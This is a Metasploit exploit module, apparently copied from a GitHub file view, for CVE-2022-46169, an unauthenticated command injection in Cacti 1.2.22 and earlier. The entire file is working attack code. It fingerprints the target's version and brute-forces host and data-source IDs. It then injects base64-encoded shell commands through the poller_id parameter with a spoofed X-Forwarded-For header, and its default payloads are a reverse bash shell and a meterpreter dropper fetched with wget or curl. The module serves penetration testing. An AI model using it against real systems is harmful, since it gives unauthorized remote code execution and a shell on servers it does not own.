Path: blob/master/modules/exploits/linux/http/cacti_unauthenticated_cmd_injection.rb
36831 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpClient9include Msf::Exploit::CmdStager10prepend Msf::Exploit::Remote::AutoCheck1112def initialize(info = {})13super(14update_info(15info,16'Name' => 'Cacti 1.2.22 unauthenticated command injection',17'Description' => %q{18This module exploits an unauthenticated command injection19vulnerability in Cacti through 1.2.22 (CVE-2022-46169) in20order to achieve unauthenticated remote code execution as the21www-data user.2223The module first attempts to obtain the Cacti version to see24if the target is affected. If LOCAL_DATA_ID and/or HOST_ID25are not set, the module will try to bruteforce the missing26value(s). If a valid combination is found, the module will27use these to attempt exploitation. If LOCAL_DATA_ID and/or28HOST_ID are both set, the module will immediately attempt29exploitation.3031During exploitation, the module sends a GET request to32/remote_agent.php with the action parameter set to polldata33and the X-Forwarded-For header set to the provided value for34X_FORWARDED_FOR_IP (by default 127.0.0.1). In addition, the35poller_id parameter is set to the payload and the host_id36and local_data_id parameters are set to the bruteforced or37provided values. If X_FORWARDED_FOR_IP is set to an address38that is resolvable to a hostname in the poller table, and the39local_data_id and host_id values are vulnerable, the payload40set for poller_id will be executed by the target.4142This module has been successfully tested against Cacti43version 1.2.22 running on Ubuntu 21.10 (vulhub docker image)44},45'License' => MSF_LICENSE,46'Author' => [47'Stefan Schiller', # discovery (independent of Steven Seeley)48'Steven Seeley', # (mr_me) @steventseeley - discovery (independent of Stefan Schiller)49'Owen Gong', # @phithon_xg - vulhub PoC50'Erik Wynter' # @wyntererik - Metasploit51],52'References' => [53['CVE', '2022-46169'],54['GHSA', '6p93-p743-35gf', 'Cacti/cacti'], # disclosure and technical details55['URL', 'https://github.com/vulhub/vulhub/tree/master/cacti/CVE-2022-46169'], # vulhub vulnerable docker image and PoC56['URL', 'https://www.sonarsource.com/blog/cacti-unauthenticated-remote-code-execution'] # analysis by Stefan Schiller57],58'DefaultOptions' => {59'RPORT' => 808060},61'Targets' => [62[63'Automatic (Unix In-Memory)',64{65'Platform' => 'unix',66'Arch' => ARCH_CMD,67'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' },68'Type' => :unix_memory69}70],71[72'Automatic (Linux Dropper)',73{74'Platform' => 'linux',75'Arch' => [ARCH_X86, ARCH_X64],76'CmdStagerFlavor' => ['echo', 'printf', 'wget', 'curl'],77'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp' },78'Type' => :linux_dropper79}80]81],82'Privileged' => false,83'DisclosureDate' => '2022-12-05',84'DefaultTarget' => 1,85'Notes' => {86'Stability' => [ CRASH_SAFE ],87'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],88'Reliability' => [ REPEATABLE_SESSION ]89}90)91)9293register_options([94OptString.new('TARGETURI', [true, 'The base path to Cacti', '/']),95OptString.new('X_FORWARDED_FOR_IP', [true, 'The IP to use in the X-Forwarded-For HTTP header. This should be resolvable to a hostname in the poller table.', '127.0.0.1']),96OptInt.new('HOST_ID', [false, 'The host_id value to use. By default, the module will try to bruteforce this.']),97OptInt.new('LOCAL_DATA_ID', [false, 'The local_data_id value to use. By default, the module will try to bruteforce this.'])98])99100register_advanced_options([101OptInt.new('MIN_HOST_ID', [true, 'Lower value for the range of possible host_id values to check for', 1]),102OptInt.new('MAX_HOST_ID', [true, 'Upper value for the range of possible host_id values to check for', 5]),103OptInt.new('MIN_LOCAL_DATA_ID', [true, 'Lower value for the range of possible local_data_id values to check for', 1]),104OptInt.new('MAX_LOCAL_DATA_ID', [true, 'Upper value for the range of possible local_data_id values to check for', 100])105])106end107108def check109# sanity check to see if the target is likely Cacti110res = send_request_cgi({111'method' => 'GET',112'uri' => normalize_uri(target_uri.path)113})114115unless res116return CheckCode::Unknown('Connection failed.')117end118119unless res.code == 200 && res.body.include?('<title>Login to Cacti')120return CheckCode::Safe('Target is not a Cacti application.')121end122123# get the version124version = res.body.scan(/Version (.*?) \| \(c\)/)&.flatten&.first125if version.blank?126return CheckCode::Detected('Could not determine the Cacti version: the HTTP response body did not match the expected format.')127end128129begin130if Rex::Version.new(version) <= Rex::Version.new('1.2.22')131return CheckCode::Appears("The target is Cacti version #{version}")132else133return CheckCode::Safe("The target is Cacti version #{version}")134end135rescue StandardError => e136return CheckCode::Unknown("Failed to obtain a valid Cacti version: #{e}")137end138end139140def exploitable_rrd_names141[142'apache_total_kbytes',143'apache_total_hits',144'apache_total_hits',145'apache_total_kbytes',146'apache_cpuload',147'boost_avg_size',148'boost_peak_memory',149'boost_records',150'boost_table',151'ExportDuration',152'ExportGraphs',153'syslogRuntime',154'tholdRuntime',155'polling_time',156'uptime',157]158end159160def brute_force_ids161# perform a sanity check first162if @host_id163host_ids = [@host_id]164else165if datastore['MAX_HOST_ID'] < datastore['MIN_HOST_ID']166fail_with(Failure::BadConfig, 'The value for MAX_HOST_ID is lower than MIN_HOST_ID. This is impossible')167end168host_ids = (datastore['MIN_HOST_ID']..datastore['MAX_HOST_ID']).to_a169end170171if @local_data_id172local_data_ids = [@local_data_ids]173else174if datastore['MAX_LOCAL_DATA_ID'] < datastore['MIN_LOCAL_DATA_ID']175fail_with(Failure::BadConfig, 'The value for MAX_LOCAL_DATA_ID is lower than MIN_LOCAL_DATA_ID. This is impossible')176end177local_data_ids = (datastore['MIN_LOCAL_DATA_ID']..datastore['MAX_LOCAL_DATA_ID']).to_a178end179180# lets make sure the module never performs more than 1,000 possible requests to try and bruteforce host_id and local_data_id181max_attempts = host_ids.length * local_data_ids.length182if max_attempts > 1000183fail_with(Failure::BadConfig, 'The number of possible HOST_ID and LOCAL_DATA_ID combinations exceeds 1000. Please limit this number by adjusting the MIN and MAX options for both parameters.')184end185186potential_targets = []187request_ct = 0188189print_status("Trying to bruteforce an exploitable host_id and local_data_id by trying up to #{max_attempts} combinations")190host_ids.each do |h_id|191print_status("Enumerating local_data_id values for host_id #{h_id}")192local_data_ids.each do |ld_id|193request_ct += 1194print_status("Performing request #{request_ct}...") if request_ct % 25 == 0195196res = send_request_cgi(remote_agent_request(ld_id, h_id, rand(1..1000)))197unless res198print_error('No response received. Aborting bruteforce')199return nil200end201202unless res.code == 200203print_error("Received unexpected response code #{res.code}. This shouldn't happen. Aborting bruteforce")204return nil205end206207begin208parsed_response = JSON.parse(res.body)209rescue JSON::ParserError210print_error("The response body is not in valid JSON format. This shouldn't happen. Aborting bruteforce")211return nil212end213214unless parsed_response.is_a?(Array)215print_error("The response body is not in the expected format. This shouldn't happen. Aborting bruteforce")216return nil217end218219# the array can be empty, which is not an error but just means the local_data_id is not exploitable220next if parsed_response.empty?221222first_item = parsed_response.first223unless first_item.is_a?(Hash) && ['value', 'rrd_name', 'local_data_id'].all? { |key| first_item.keys.include?(key) }224print_error("The response body is not in the expected format. This shouldn't happen. Aborting bruteforce")225return nil226end227228# some data source types that can be exploited have a valid rrd_name. these are included in the exploitable_rrd_names array229# if we encounter one of these, we should assume the local_data_id is exploitable and try to exploit it230# in addition, some data source types have an empty rrd_name but are still exploitable231# however, if the rrd_name is blank, the only way to verify if a local_data_id value corresponds to an exploitable data source, is to actually try and exploit it232# instead of trying to exploit all potential targets of the latter category, let's just save these and print them at the end233# then the user can try to exploit them manually by setting the HOST_ID and LOCAL_DATA_ID options234rrd_name = first_item['rrd_name']235if rrd_name.empty?236potential_targets << [h_id, ld_id]237elsif exploitable_rrd_names.include?(rrd_name)238print_good("Found exploitable local_data_id #{ld_id} for host_id #{h_id}")239return [h_id, ld_id]240else241next # if we have a valid rrd_name but it's not in the exploitable_rrd_names array, we should move on242end243end244end245246return nil if potential_targets.empty?247248# inform the user about potential targets249print_warning("Identified #{potential_targets.length} host_id - local_data_id combination(s) that may be exploitable, but could not be positively identified as such:")250potential_targets.each do |h_id, ld_id|251print_line("\thost_id: #{h_id} - local_data_id: #{ld_id}")252end253print_status('You can try to exploit these by manually configuring the HOST_ID and LOCAL_DATA_ID options')254nil255end256257def execute_command(cmd, _opts = {})258# use base64 encoding to get around special char limitations259cmd = "`echo #{Base64.strict_encode64(cmd)} | base64 -d | /bin/bash`"260send_request_cgi(remote_agent_request(@local_data_id, @host_id, cmd), 0)261end262263def exploit264@host_id = datastore['HOST_ID'] if datastore['HOST_ID'].present?265@local_data_id = datastore['LOCAL_DATA_ID'] if datastore['LOCAL_DATA_ID'].present?266267unless @host_id && @local_data_id268brute_force_result = brute_force_ids269unless brute_force_result270fail_with(Failure::NoTarget, 'Failed to identify an exploitable host_id - local_data_id combination.')271end272@host_id, @local_data_id = brute_force_result273end274275if target.arch.first == ARCH_CMD276print_status('Executing the payload. This may take a few seconds...')277execute_command(payload.encoded)278else279execute_cmdstager(background: true)280end281end282283def remote_agent_request(ld_id, h_id, poller_id)284{285'method' => 'GET',286'uri' => normalize_uri(target_uri.path, 'remote_agent.php'),287'headers' => {288'X-Forwarded-For' => datastore['X_FORWARDED_FOR_IP']289},290'vars_get' => {291'action' => 'polldata',292'local_data_ids[0]' => ld_id,293'host_id' => h_id,294'poller_id' => poller_id # when bruteforcing, this is a random number, but during exploitation this is the payload295}296}297end298end299300301